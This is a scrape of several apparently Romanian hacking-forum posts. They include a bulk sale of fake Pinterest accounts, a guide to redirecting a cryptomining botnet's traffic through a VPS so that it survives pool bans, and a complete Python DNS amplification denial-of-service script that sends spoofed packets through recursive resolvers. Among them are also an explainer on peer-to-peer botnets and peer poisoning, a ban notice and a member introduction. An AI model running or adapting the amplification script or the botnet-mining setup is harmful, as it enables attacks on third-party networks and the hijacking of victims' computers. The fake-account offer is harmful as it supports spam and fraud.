Leaderboard

Salut, de curand am achizitionat cateva domenii avand cateva proiecte cu care am dat fail. Avand in vedere ca eu nu mai am ce face cu ele ma gandesc ca poate este cineva pe aici care are nevoie de niste domenii, vreau sa mentionez ca domeniile sunt destul de ... gandite. # Lista: ww4.info (din 3 caractere) leaknshare.info (bun pentru socializare si .. ) O sa imi mai verific conturile pe la registranti si o sa mai fac cate un update. Cine este interesat sa ma contacteze prin pm sau sa lase reply si va contactez eu.

Straight to business.. Pinterest Accounts 100 Pinterest Accounts = 25$ 1 - 3 days 200 Pinterest Accounts = 45$ 1 - 3 days 500 Pinterest Accounts = 100$ 3 - 5 days -- All accounts are made with Premium Unique IP addresses and designed to the highest standards -- All Accounts have profile pic -Some May have BIO's Refund Policy: I will replace the account if it stop working within 24 hours after delivery, But they should be in the unused condition. Contact 24/7: SKYPE: [ maxy.lian1 ] Thanks

Salut. Acum cateva zile m-am apucat de minat litecoins , mi-am facut cont pe un pool,mi-am luat un botnet si mi-am creeat botii,apoi am inceput sa-i raspandesc. Apoi ghici ce? Pool-ul pe care erau facuti botii a picat [cineva ii dadea flood] .A ramas picat vreo 2 zile si am zis Fuck it! ma mut pe alt pool,chiar daca pierd botii. Am creeat alt server cu datele de la pool-ul numarul 2,si dinou am inceput sa-mi raspandesc minerul. Peste 3 zile alta surpriza : BAN de la pool-ul nr 2. Am pierdut botii a 2-a oara asa ca m-am gandit sa-mi fac un redirect,astfel incat daca se intampla ceva , schimb doar ip-ul pool-ului si raman cu botii. Stiu ca nu este cine stie ce acest tutorial dar ,poate ajuta pe cineva Ok sa incepem: Mi-am luat un vps de la digitalocean.com [ubuntu x32] Ne logam pe server si scriem : sysctl net.ipv4.ip_forward=1 Pentru a "activa" port forwarding Apoi dam comanda : iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 3333 -j DNAT --to-destination 2.2.2.2:3333 Unde dport 3333 = port-ul de la pool exemplu : stratum+tcp://gigahash.wemineltc.com:3333 Inlocuim 2.2.2.2:3333 cu ip-ul pool-ului In cazul nostru Atentie : Scriem IP-ul nu url-ul Deci comanda ar trebuii sa arate asa : iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 3333 -j DNAT --to-destination 5.254.102.140:3333 OK acum dam enter si introducem comanda urmatoare: iptables -t nat -A POSTROUTING -j MASQUERADE Gata ,acum putem da un restart la iptables service iptables restart Sau /etc/init.d/networking restart De acum cand facem un "virus" pentru mining nu mai bagam url-ul stratum+tcp://gigahash.wemineltc.com:3333 ci bagam stratum+tcp://ip.ul.vps.ului:3333 In caz ca se intampla ceva cu pool-ul in care minam [ddos/ban etc] revenim la vps pentru a inlocuii ip-ul pool-ului cu ip-ul noului pool Prima oara stergem regula pentru redirect : iptables -t nat -D PREROUTING -i eth0 -p tcp --dport 3333 -j DNAT --to-destination 5.254.102.140:3333 Apoi adaugam o noua regula cu noul ip [pool nr2] iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 3333 -j DNAT --to-destination ip.pool.nou:3333 Dam dinou restart la iptables service iptables restart Sau /etc/init.d/networking restart Si gata,minerul va rula pe noul pool,cu aceeasi boti Sfat: Worker name si worker password ar trebuii sa fie aceeasi pe toate pool-urile Sper sa ajute pe careva , pe mine m-a ajutat,macar am siguranta ca daca se intampla ceva,nu pierd botii!

Bravo, ai reu?it performan?a într-o or? s? î?i faci 31 de post-uri. N-avem nevoie de post hunteri, a?a c? te scutesc de suferin?? ?i î?i dau un ban permanent c? n-ai trecut pe la reguli. Merry fucking Christmas!

Ca tot am vazut ca nu e postat.. The below code is a proof-of-concept side-project written by myself and Jon Ferretti to learn more about the TCP/IP stack, as well as to aid us in our schools Red vs. Blue competition. In a Denial of Service (DOS) attack, the goal is quite literally do what the name implies - bring down the services in an effort to prevent other people from being able to access them. Generally speaking, the "typical" method for such an attack is to flood the targeted server with so much traffic that nobody else can access the services. So naturally as the attacker, the more data you can send, the better. A DNS Amplification Attack exploits a feature of the DNS stack, specifically the recursive capability. Before I explain recursion, let us first re-examine the basics of DNS. In its most simplistic form, every website (or other server) has a publicly facing IP address. For a user to connect to that website, their browser must know what that IP address is. This is where the magic of DNS comes in. When a user types in a web address, their browser asks a DNS server who the address belongs to. The DNS server responds, giving the browser the IP to connect to, at which point the browser establishes a connection and brings the user to the website. Given the sheer volume of websites that exist on the Internet, it's not difficult to understand why there are a multitude of DNS servers around the world. DNS recursion plays a vital role in ensuring that users globally can access websites that the DNS server closest to them may not be aware of (a single DNS server simply cannot keep track of every domain). When the DNS server cant come up with a match for the URL requested, it asks its' superior. This "asking" is called recursion. When a server along this recursive chain comes up with a response, it is sent back to the original client that requested the translation (URL to IP Address). This process seems perfectly reasonable, and in many cases, is. The catch 22 though is that with each recursive hop to find a translation, the size (packet size here) of the result gets larger. Couple that concept with some packet crafting and the end result can be disastrous. This script exemplifies this concept. By crafting packets being sent to a DNS server that allows for recursion, the attacker can make a normal query that is 64 bytes in size, return a response that is tens of times larger than the original request (as seen below). This image demonstrates the principle described above. As dig merely decodes responses, we can see that qr is set, which tells us nothing other than what we're looking at is a Query Response. The second flag we have returned is rd, which indicates that dig requested recursion in the query. The last flag we see is ra, which tells us exactly what we wanted to see - that recursion was available (and subsequently used) to gather the data in our response. When we look at the query information, at the bottom of our query, we see the response returned was 4.192 bytes in size (roughly sixty-five times larger than our initial request) --= More to come =-- ## DNS Amplification DOS Attack Script - Proof of Concept # # Co-Authored Johnathin Ferretti and Pat Litke # # Pat Litke | geudrik # Jonathin Ferretti | LISTERINe # # January 2012 # # # # Dependencies # python-scapy # python-dnspython # # # Basic imports to do simple I/O from optparse import OptionParser from string import lower from os import path, system # Ensure that switches are set before we do much of anything else. # This ensures that system resources aren't unnecessarily used system("clear") print "###########################################################" print "### DNS Amplification DOS Attack - Proof of Concept ###" print "### ###" print "### Co-Authored : LISTERINe and geudrik ###" print "### Jon Ferretti & Pat Litke ###" print "### Last Modified : January 2012 ###" print "###########################################################" print "\n\n" parser=OptionParser() # Required Parameters parser.add_option("-t", "--target", action="store", dest="target", help="IP address of our target") parser.add_option("-s", "--servers", action="store", dest="servers", help="Path to our list of recursive DNS servers") parser.add_option("-a", "--arecords", action="store", dest="arecords", help="Path or our list of A-Name records") # Optional Parameters parser.add_option("-c", "--count", action="store", dest="count", default=5) parser.add_option("-v", "--verbose", action="store_true", dest="verbose") parser.add_option("--threads", action="store", dest="threads", default=1) parser.add_option("--verify", action="store_true", dest="verify") (options, args)=parser.parse_args() # Check to see that at least -t -s and -a are set as they are required if not options.target or not options.servers or not options.arecords: print "Options are as follows" print "-t : Target IP Address" print "-s : Path to Server File" print "-a : Path to A Record FIle" print "-c : -1 for infinite, \# of times to send packets" print "--verify : Verify that DNS servers are indeed recursive" print "-v : Set verbosity to true" print "--threads : Number of threads to spawn" print "\n" print "Example Usage\n" print "amplfiy.py -t 1.2.3.4 -s /usr/so.list -a /usr/arec.list -c \"-1\" --verify -v --threads=4" exit() else: print "All checks have passed successfully. You are about to launch" print " a DOS attack against "+options.target print "The following are the options passed..." print "Target : "+options.target print "Servers : "+options.servers print "A-Names : "+options.arecords print "Send Count : "+str(options.count) print "Verify Servers? : "+str(options.verify) print "Verbosity? : "+str(options.verbose) print "Thread Count : "+str(options.threads) proof=lower(raw_input("Are you sure you want to execute this attack? (Y/N)")) if proof=="n": exit() # Clear our buffer and continue on... system("clear"); ## ##### ##################################################### # Sanitation code for our DNS amplification script ##################################################### ##### ## from dns import flags, resolver from os import path, system from sys import argv, stdout from random import randrange, seed from threading import Thread import logging # Supress IPv6 warnings... logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * ### Sanitize our A-Records List def pull_clean_servers(server_filename, verbose): # Populate our array serverlist try: handle = open(path.abspath(server_filename), "r") serverlist = handle.readlines() if verbose: print "Pre-sanitation: File opened and lines read" except: print "Bad filepath, cannot open file for reading "+server_filename exit() # For each server in our serverlist (see above), clean it clean = [] for server in serverlist: try: clean.append(server.strip()) if verbose: print "Server Cleaned: "+server except: print "Unable to parse servername: "+server exit() print "\n=== Sanitation Complete ===\n\n" return clean ## ##### #################################################### # Verification Code for our Name Servers #################################################### ##### ## def verify_ns(nslist, verbose): if verbose: print "Now verifying nameservers..." verified = [] for server in nslist: try: # Send our DNS request to the server answer = resolver.query(server) # Read DNS flags from response and check for RA flag DNSflags = (flags._to_text(answer.response.flags, flags._by_value, flags._flags_order)).split(" ") if "RA" in DNSflags: verified.append(server) if verbose: print "Server "+server+" is recursive" except: # Server is not recursive print "Server "+server+" is *NOT* recursive" return verified ## ##### #################################################### # Thread Class to handle our our Multi Threading #################################################### ##### ## class sender(Thread): # Define our __init__ struct def __init__(self, threadnum, data_package): Thread.__init__(self) self.data = data_package self.tnum = threadnum self.target = data_package[0] self.name_servers = data_package[1] self.A_records = data_package[2] self.send_limit = data_package[3] self.verbose = data_package[4] # Define our "push_dns_packets" struct def run(self): print "seeding..." seed() pac_num = 0 while self. send_limit != pac_num: ns = self.name_servers[randrange(0,len(self.name_servers))] A_record = self.A_records[randrange(0,len(self.A_records))] if self.verbose: print "| Sending Packet: "+str(pac_num+1)+" |", "Thread Number:", str(self.tnum)+" |", "Target:", self.target+" |", "Name Server:", ns+" |", "A-Record:", A_record+" |" # Send the packet :D send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(qname=A_record)), verbose=0) pac_num+=1 # Define our "run" struct #def run(self): # self.push_DNS_packets(self.tnum, self.data[0], self.data[1], self.data[2], self.data[3], self.data[4]) ## ##### ##################################################### # Let's start assigning variables and threadding ##################################################### ##### ## # Assign vars to be used in our threads. We'll do this one at a time to see where things break (if they do) try: Target = options.target except: print "Script Broke - Target assignment failed" exit() try: Nameservers = pull_clean_servers(options.servers, options.verbose) except: print "Script Broke - Nameservers assignment failed" exit() try: A_Records = pull_clean_servers(options.arecords, options.verbose) except: print "Script Broke - A_Records assignment failed." exit() # Things are sanitized. Do we need to verify our name servers? if options.verify: try: Nameservers = verify_ns(Nameservers, options.verbose) if options.verbose: print "Nameserver Verification Successful..." except: print "Errors were encountered (see above) in nameserver verification" print "You may continue, but the above nameservers will be ignored" ns_error=lower(raw_input("Would you like to still try the attack (suggest not)? (Y/N) :")) if ns_error=="n": exit() # Pause so we can see diagnostic output finalcheck=lower(raw_input("This the last chance you get. Are you sure you want to continue?")) print finalcheck if finalcheck=="n": print "n" exit() print "running" # So here we go, lets fire up some threads sendthreads = [] for thread in range(0,int(options.threads)): sendthreads.append(sender(thread+1, [Target, Nameservers, A_Records, int(options.count), options.verbose])) sendthreads[thread].start() Sursa: https://arcti.cc/python_dns_amplification.html

Traditional Botnets With tradition botnets (Be it HTTP, IRC or some other protocol), the structure remains the same. The bots all connect to one or more servers through one or more domains. Although the network structure can differ from very basic to very complex, the botnet can easily be disabled with enough cooperation. seizing control of an active domain or sever associated with the botnet can usually be all that is needed in order to disband it, however if for some reason it isn't possible to send commands to the bots, a different approach is needed. Attempting to shut down the control sever is usually a waste of time as it would not take long for the botmaster to set up another and redirect the domain to it, which only leaves the option of going after the domain. A botnet that isn't run by beginners will likely use multiple domains, if a single domain is shut down, the bots will connect to the next. To take down such a botnet: it would be required for researchers to either suspend all domains associated with the botnet (in a time frame that doesn't allow the botmaster to update the bots with new domains), or to seize the domain the botnet is currently using and point it to a functional server (known as a sinkhole), designed to keep the bots away from the legitimate control server and out of the botmaster's reach. Peer to Peer Peer to Peer (P2P) botnets try to solve the problem of security researchers and authorities targeting domains or servers, by creating a decentralized network. The idea of P2P is that all the bots connect & communicate with to each-other in order to remove the need for a centralized server, however it's not as straight forward as that. CommandsIf bots are communicating with each-other, then the botmaster needs to make sure only he can command the bots, this is usually done using digital signing. Signing is performed by using asymmetric encryption, a special type of encryption that required two keys (public and private). if one key is used to encrypt a message, it can only be decrypted with the other key. If the botmaster keep one key secret (private key) and embed the other key in the bot (public key), he can use his key to encrypt commands and then the bots can decrypt them using the public key: without the botmaster's private key, no one can encrypt the commands. Most people's idea of a peer to peer botnet is similar to Figure 1, the bots all connect to each-other via IP address, forwarding commands to each-other, removing the need for a central server or domain, this representation however is incorrect. Computers that are behind NAT, Firewalls, or use a proxy server to access the internet: cannot accept incoming connection, but can make outgoing connection. This is a bit of a problem as it would prevent the majority of bots being connected to by other bots. In traditional botnets, this obviously isn't a problem as the bots connect to the server, so a peer to peer network still requires servers in a way. Bots that are capable of accepting incoming connections (not behind Proxy / NAT / Firewall) act as servers (usually referred to as nodes or peers), the bots that are not capable of accepting connections (usually referred to as workers) will then connect to one or more nodes in order to receive commands (Figure 2). Although the nodes are technically servers, they are used in a way that prevents take down, that is: the workers are distributed between many nodes, allowing them to shift to another node if one is taken down. P2P botnets only work if there are enough nodes that it is impractical to take them all down, the bad news is because the nodes are legitimate computers, they can't simply be seized like a server would be. Each node maintains a list of IP addresses of other nodes which it shares with the workers, the workers then store the lists, allowing them to switch nodes if the current one were to die. At this stage the botnet would just be many small groups of bots connected to many different nodes, which would be impossible to command. For commands to circulate the entire network, either: The bots will connect to multiple nodes and pass any commands received to the other nodes; The nodes connect to other nodes and pass commands between themselves; or a combination of the two. Bootstrapping In order for a bot to join the network: it would need the IP address of at least one node, this is where bootstrapping comes in. The bot is hard-coded with a list of bootstrap servers, which it connects to when it is first run on the infected computer. the job of a bootstrap server is to maintain a huge list of node IP addresses, providing new bots with a smaller list of node IPs (introducing it to the network). Generally bootstrap servers provide some sort of signing, which prevents them from being hijacked by security researchers and used to give new bots invalid node IPs. Obviously the bootstrap servers are a central points, like with traditional botnets, they could be taken down, however this isn't a huge issue. If all of the bootstrap servers were to be seized at once, it would not effect the bots that are already on the botnet, however it would prevent new infections from joining. The botmaster can simply cease infecting new systems until they can set up new bootstrap servers,this would be only a temporary hold back so it is fairly pointless to attack the bootstrap system. Dismantling the botnet Attacking the bootstrap system only temporarily prevents new bots joining the network, digitally signed commands prevent anyone other than the botmaster commanding the bots, and there are far too many nodes to take down at once, so what can be done? Peer Poisoning Nearly all peer to peer botnets is existence have a vulnerability in the peer sharing mechanism. As explained earlier, the nodes are required to maintain and share a list of other nodes with the workers, to distribute the workers among the vast number of nodes. It would be incredibly time consuming or even impossible for the botmaster to manually provide each node with a list of other nodes, so the nodes do it automatically. When a new bot is identified as being capable of accepting connections, the node it is connected to adds it to the node list and shares it with the other nodes. So what if you were to introduce a malicious computer to the network, one that would be identified as capable of becoming a node, the from there you provided the workers and other nodes with a list of invalid ips? Probably not a lot. It's likely that the nodes would verify each new node IP address to make sure it's real, but with that in mind there's another way! Security researchers could introduce many malicious nodes to the network, but instead of providing workers and other nodes with false IP addresses, they would only share a list of other malicious nodes. With enough resources, the malicious nodes can become a significant part of the botnet and separate the workers from the legitimate nodes. By only issuing the IP addresses of other malicious nodes, it increases the chance that the workers will only be aware of malicious nodes and significantly decreases the chance of them rejoining the network. At a given date the malicious nodes can stop forwarding commands from legitimate nodes: leaving all the workers which are connected to malicious nodes unable to receive commands, and leaving the botmaster no time to react. Such an attack would be unlikely to separate all the workers from the network, but could cripple a significant part of the botnet. Malicious nodes can be left running to commandeer more bots and attempt to keep hold of any bots which may have stored IP addresses of legitimate nodes. Sursa: MalwareTech: Peer-to-Peer Botnets for Beginners

Avand in vedere ca nu mam prezentat de cand sunt eu pe aici am zis sa incerc sa fiu si eu mai ca toata lumea si sa las o scurta descriere despre mine. Incepem cu inceputul sunt baiat si imi plac fetele! Studiez mai multe religii printre care religia catolica, ortodoxa si satanista. Sunt pasionat de muzica de unde se trage si forumul meu de muzica, scriu cantece si poezii (nu fac caterinca) lucrez in momentul de fata cu un artist si vreau ca pe viitor sa ma promovez mai mult in acest domeniu. Nu stau in Romania am copilarit in Romania o buna perioada de timp unde au urmat ani grei si parinti sau mutat in strainatate urmand ca si eu sa plec langa ei. Vorbesc cursiv doua limbi si desi vorbesc doua limbi nu imi place sa vad subiecte/melodii si alte chestii de genul scrise in doua limbi de exemplu "vorbim later iubitule" sa fim seriosi arata retardat.. Sunt genul de om care isi pune toata increderea in oamenii pe care ii considera prietenii si nu imi place sa fiu mintit daca ai ceva cu mine imi spui in fata "Bai esti urat de imi vine sa plang, bai ai un coi mai mic ca celalalt, bai nu imi place cum esti imbracat." ai ceva de spus imi spui in fata nu ma vorbesti pe la spate. Cunosc cate ceva din toate domeniile nu pot spune ca sunt maestru dar cunosc cat pentru cultura mea generala in cazul in care cineva ma intreaba ceva ce ar trebui sa stiu. Nu sunt haxor si nu imi place sa fiu luat la misto cu faze bai haxore sau alte tampenii sunt doar un om pasionat de informatica si de securitatea cibernetica. Nu am treaba cu nimeni chiar daca par mai sever nu sunt incerc doar sa dau niste sfat-uri este treaba lor daca le accepta sau nu eu mi-am facut datoria spunandu-i ca nu este bine ce face si la randul meu accept sfat-urile oamenilor care sunt mai intelepti ca mine. Imi place sa dau lucrurile pe fata si sa spun ce am. Sunt nationalist si imi iubesc tara si poporul chiar daca in ultimi ani a cam luat-o pe aratura din cauza politicienilor care nu isi mai vad corp-ul de buzunare. Asta-s eu simplu si in cateva cuvinte pentru alte detalii intrebati-ma. Noroc!